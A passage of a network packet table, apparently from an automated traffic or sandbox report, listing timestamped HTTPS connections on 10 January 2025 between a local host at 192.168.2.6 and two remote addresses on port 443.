| Jan 10, 2025 15:17:42.117681980 CET | 443 | 50022 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:42.564692974 CET | 443 | 50022 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:42.564733982 CET | 443 | 50022 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:42.564938068 CET | 50022 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:42.564954042 CET | 443 | 50022 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:42.565009117 CET | 443 | 50022 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:42.565015078 CET | 50022 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:42.565052986 CET | 50022 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:42.565720081 CET | 50022 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:42.565735102 CET | 443 | 50022 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:42.682013035 CET | 50023 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:42.682063103 CET | 443 | 50023 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:42.682226896 CET | 50023 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:42.682578087 CET | 50023 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:42.682589054 CET | 443 | 50023 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:43.339188099 CET | 443 | 50023 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:43.339373112 CET | 50023 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:43.339962959 CET | 443 | 50023 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:43.340035915 CET | 50023 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:43.341880083 CET | 50023 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:43.341895103 CET | 443 | 50023 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:43.342144012 CET | 443 | 50023 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:43.342195988 CET | 50023 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:43.342585087 CET | 50023 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:43.383337975 CET | 443 | 50023 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:43.720832109 CET | 443 | 50023 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:43.720953941 CET | 50023 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:43.721103907 CET | 50023 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:43.721149921 CET | 443 | 50023 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:43.721211910 CET | 50023 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:43.732104063 CET | 50024 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:43.732147932 CET | 443 | 50024 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:43.732222080 CET | 50024 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:43.732465982 CET | 50024 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:43.732477903 CET | 443 | 50024 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:44.367899895 CET | 443 | 50024 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:44.368017912 CET | 50024 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:44.368644953 CET | 50024 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:44.368654013 CET | 443 | 50024 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:44.368807077 CET | 50024 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:44.368813038 CET | 443 | 50024 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:44.806683064 CET | 443 | 50024 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:44.806761980 CET | 443 | 50024 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:44.806827068 CET | 50024 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:44.806838989 CET | 443 | 50024 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:44.806853056 CET | 50024 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:44.806874990 CET | 443 | 50024 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:44.806890011 CET | 50024 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:44.806915045 CET | 50024 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:44.807513952 CET | 50024 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:44.807528973 CET | 443 | 50024 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:44.931771994 CET | 50025 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:44.931835890 CET | 443 | 50025 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:44.931909084 CET | 50025 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:44.932230949 CET | 50025 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:44.932244062 CET | 443 | 50025 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:45.597934008 CET | 443 | 50025 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:45.598098993 CET | 50025 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:45.598714113 CET | 443 | 50025 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:45.598781109 CET | 50025 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:45.600223064 CET | 50025 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:45.600234985 CET | 443 | 50025 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:45.600476027 CET | 443 | 50025 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:45.600542068 CET | 50025 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:45.600917101 CET | 50025 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:45.643333912 CET | 443 | 50025 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:46.004455090 CET | 443 | 50025 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:46.004621983 CET | 50025 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:46.004651070 CET | 443 | 50025 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:46.004715919 CET | 50025 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:46.004849911 CET | 50025 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:46.004898071 CET | 443 | 50025 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:46.004952908 CET | 50025 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:46.018424988 CET | 50026 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:46.018469095 CET | 443 | 50026 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:46.018543005 CET | 50026 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:46.018800020 CET | 50026 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:46.018807888 CET | 443 | 50026 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:46.668919086 CET | 443 | 50026 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:46.669054031 CET | 50026 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:46.669601917 CET | 50026 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:46.669606924 CET | 443 | 50026 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:46.669776917 CET | 50026 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:46.669780970 CET | 443 | 50026 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:47.121073008 CET | 443 | 50026 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:47.121129036 CET | 443 | 50026 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:47.121229887 CET | 50026 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:47.121238947 CET | 443 | 50026 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:47.121289015 CET | 50026 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:47.121963978 CET | 50026 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:47.121963978 CET | 50026 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:47.122000933 CET | 443 | 50026 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:47.122057915 CET | 50026 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:47.244494915 CET | 50027 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:47.244555950 CET | 443 | 50027 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:47.244677067 CET | 50027 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:47.244911909 CET | 50027 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:47.244923115 CET | 443 | 50027 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:47.909812927 CET | 443 | 50027 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:47.909970045 CET | 50027 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:47.910568953 CET | 443 | 50027 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:47.910655022 CET | 50027 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:47.912520885 CET | 50027 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:47.912533998 CET | 443 | 50027 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:47.912811041 CET | 443 | 50027 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:47.912866116 CET | 50027 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:47.913274050 CET | 50027 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:47.955355883 CET | 443 | 50027 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:48.399584055 CET | 443 | 50027 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:48.399682045 CET | 50027 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:48.399709940 CET | 443 | 50027 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:48.399753094 CET | 50027 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:48.399801970 CET | 50027 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:48.399832964 CET | 443 | 50027 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:48.399877071 CET | 50027 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:48.414052010 CET | 50028 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:48.414096117 CET | 443 | 50028 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:48.414463043 CET | 50028 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:48.414613962 CET | 50028 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:48.414625883 CET | 443 | 50028 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:49.062977076 CET | 443 | 50028 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:49.063167095 CET | 50028 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:49.065083027 CET | 50028 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:49.065095901 CET | 443 | 50028 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:49.065339088 CET | 443 | 50028 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:49.065453053 CET | 50028 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:49.065960884 CET | 50028 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:49.107331038 CET | 443 | 50028 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:49.516882896 CET | 443 | 50028 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:49.516983032 CET | 50028 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:49.516995907 CET | 443 | 50028 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:49.517046928 CET | 50028 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:49.517050982 CET | 443 | 50028 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:49.517081976 CET | 443 | 50028 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:49.517096996 CET | 50028 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:49.517123938 CET | 50028 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:49.517158985 CET | 443 | 50028 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:49.517201900 CET | 50028 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:49.517277002 CET | 443 | 50028 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:49.517318010 CET | 50028 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:49.525866032 CET | 50028 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:49.525882959 CET | 443 | 50028 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:49.699239016 CET | 50029 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:49.699295998 CET | 443 | 50029 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:49.699388981 CET | 50029 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:49.700819016 CET | 50029 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:49.700834990 CET | 443 | 50029 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:50.364120960 CET | 443 | 50029 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:50.364347935 CET | 50029 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:50.364964008 CET | 443 | 50029 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:50.365025043 CET | 50029 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:50.366661072 CET | 50029 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:50.366672039 CET | 443 | 50029 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:50.366940022 CET | 443 | 50029 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:50.366995096 CET | 50029 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:50.367449999 CET | 50029 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:50.411370039 CET | 443 | 50029 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:50.757313967 CET | 443 | 50029 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:50.757388115 CET | 50029 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:50.757456064 CET | 443 | 50029 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:50.757586956 CET | 50029 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:50.757651091 CET | 50029 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:50.757713079 CET | 443 | 50029 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:50.757771015 CET | 50029 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:50.771785021 CET | 50030 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:50.771822929 CET | 443 | 50030 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:50.771925926 CET | 50030 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:50.772222996 CET | 50030 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:50.772238970 CET | 443 | 50030 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:51.401731014 CET | 443 | 50030 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:51.401809931 CET | 50030 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:51.402335882 CET | 50030 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:51.402353048 CET | 443 | 50030 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:51.402842999 CET | 50030 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:51.402857065 CET | 443 | 50030 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:51.844167948 CET | 443 | 50030 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:51.844238043 CET | 443 | 50030 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:51.844299078 CET | 443 | 50030 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:51.844399929 CET | 50030 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:51.844399929 CET | 50030 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:51.844399929 CET | 50030 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:51.845053911 CET | 50030 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:51.845067024 CET | 443 | 50030 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:52.027564049 CET | 50031 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:52.027609110 CET | 443 | 50031 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:52.027677059 CET | 50031 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:52.027996063 CET | 50031 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:52.028003931 CET | 443 | 50031 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:52.696304083 CET | 443 | 50031 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:52.696434975 CET | 50031 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:52.697087049 CET | 443 | 50031 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:52.697175026 CET | 50031 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:52.700922966 CET | 50031 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:52.700943947 CET | 443 | 50031 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:52.701314926 CET | 443 | 50031 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:52.701428890 CET | 50031 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:52.702209949 CET | 50031 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:52.743335009 CET | 443 | 50031 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:53.081468105 CET | 443 | 50031 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:53.081537962 CET | 50031 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:53.081655025 CET | 50031 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:53.081698895 CET | 443 | 50031 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:53.081746101 CET | 50031 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:53.094588041 CET | 50032 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:53.094624043 CET | 443 | 50032 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:53.094702005 CET | 50032 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:53.094996929 CET | 50032 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:53.095009089 CET | 443 | 50032 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:53.741535902 CET | 443 | 50032 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:53.741607904 CET | 50032 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:53.742129087 CET | 50032 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:53.742137909 CET | 443 | 50032 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:53.742439032 CET | 50032 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:53.742444038 CET | 443 | 50032 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:54.183844090 CET | 443 | 50032 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:54.183913946 CET | 443 | 50032 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:54.183924913 CET | 50032 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:54.183943987 CET | 443 | 50032 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:54.183958054 CET | 50032 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:54.183999062 CET | 443 | 50032 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:54.184007883 CET | 50032 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:54.184077978 CET | 50032 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:54.184601068 CET | 50032 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:54.184623003 CET | 443 | 50032 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:54.184637070 CET | 50032 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:54.184664965 CET | 50032 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:54.306869030 CET | 50033 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:54.306936026 CET | 443 | 50033 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:54.309417009 CET | 50033 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:54.309649944 CET | 50033 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:54.309674978 CET | 443 | 50033 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:54.937403917 CET | 443 | 50033 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:54.937469959 CET | 50033 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:54.938193083 CET | 443 | 50033 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:54.938245058 CET | 50033 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:54.942955971 CET | 50033 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:54.942964077 CET | 443 | 50033 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:54.943218946 CET | 443 | 50033 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:54.943274975 CET | 50033 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:54.943619967 CET | 50033 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:54.987335920 CET | 443 | 50033 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:55.319698095 CET | 443 | 50033 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:55.319773912 CET | 50033 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:55.319787025 CET | 443 | 50033 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:55.319827080 CET | 50033 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:55.319933891 CET | 50033 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:55.319964886 CET | 443 | 50033 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:55.320013046 CET | 50033 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:55.333028078 CET | 50034 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:55.333066940 CET | 443 | 50034 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:55.333225965 CET | 50034 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:55.333388090 CET | 50034 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:55.333405018 CET | 443 | 50034 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:55.967380047 CET | 443 | 50034 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:55.967492104 CET | 50034 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:55.968060970 CET | 50034 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:55.968071938 CET | 443 | 50034 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:55.968223095 CET | 50034 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:55.968230963 CET | 443 | 50034 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:56.538223028 CET | 443 | 50034 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:56.538286924 CET | 443 | 50034 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:56.538351059 CET | 50034 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:56.538352966 CET | 443 | 50034 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:56.538388968 CET | 50034 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:56.538433075 CET | 50034 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:56.539266109 CET | 50034 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:56.539285898 CET | 443 | 50034 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:56.666721106 CET | 50035 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:56.666776896 CET | 443 | 50035 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:56.666907072 CET | 50035 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:56.667270899 CET | 50035 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:56.667283058 CET | 443 | 50035 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:57.402199984 CET | 443 | 50035 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:57.402425051 CET | 50035 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:57.402950048 CET | 443 | 50035 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:57.403060913 CET | 50035 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:57.404580116 CET | 50035 | 443 | 192.168.2.6 | 142.250.185.110 |
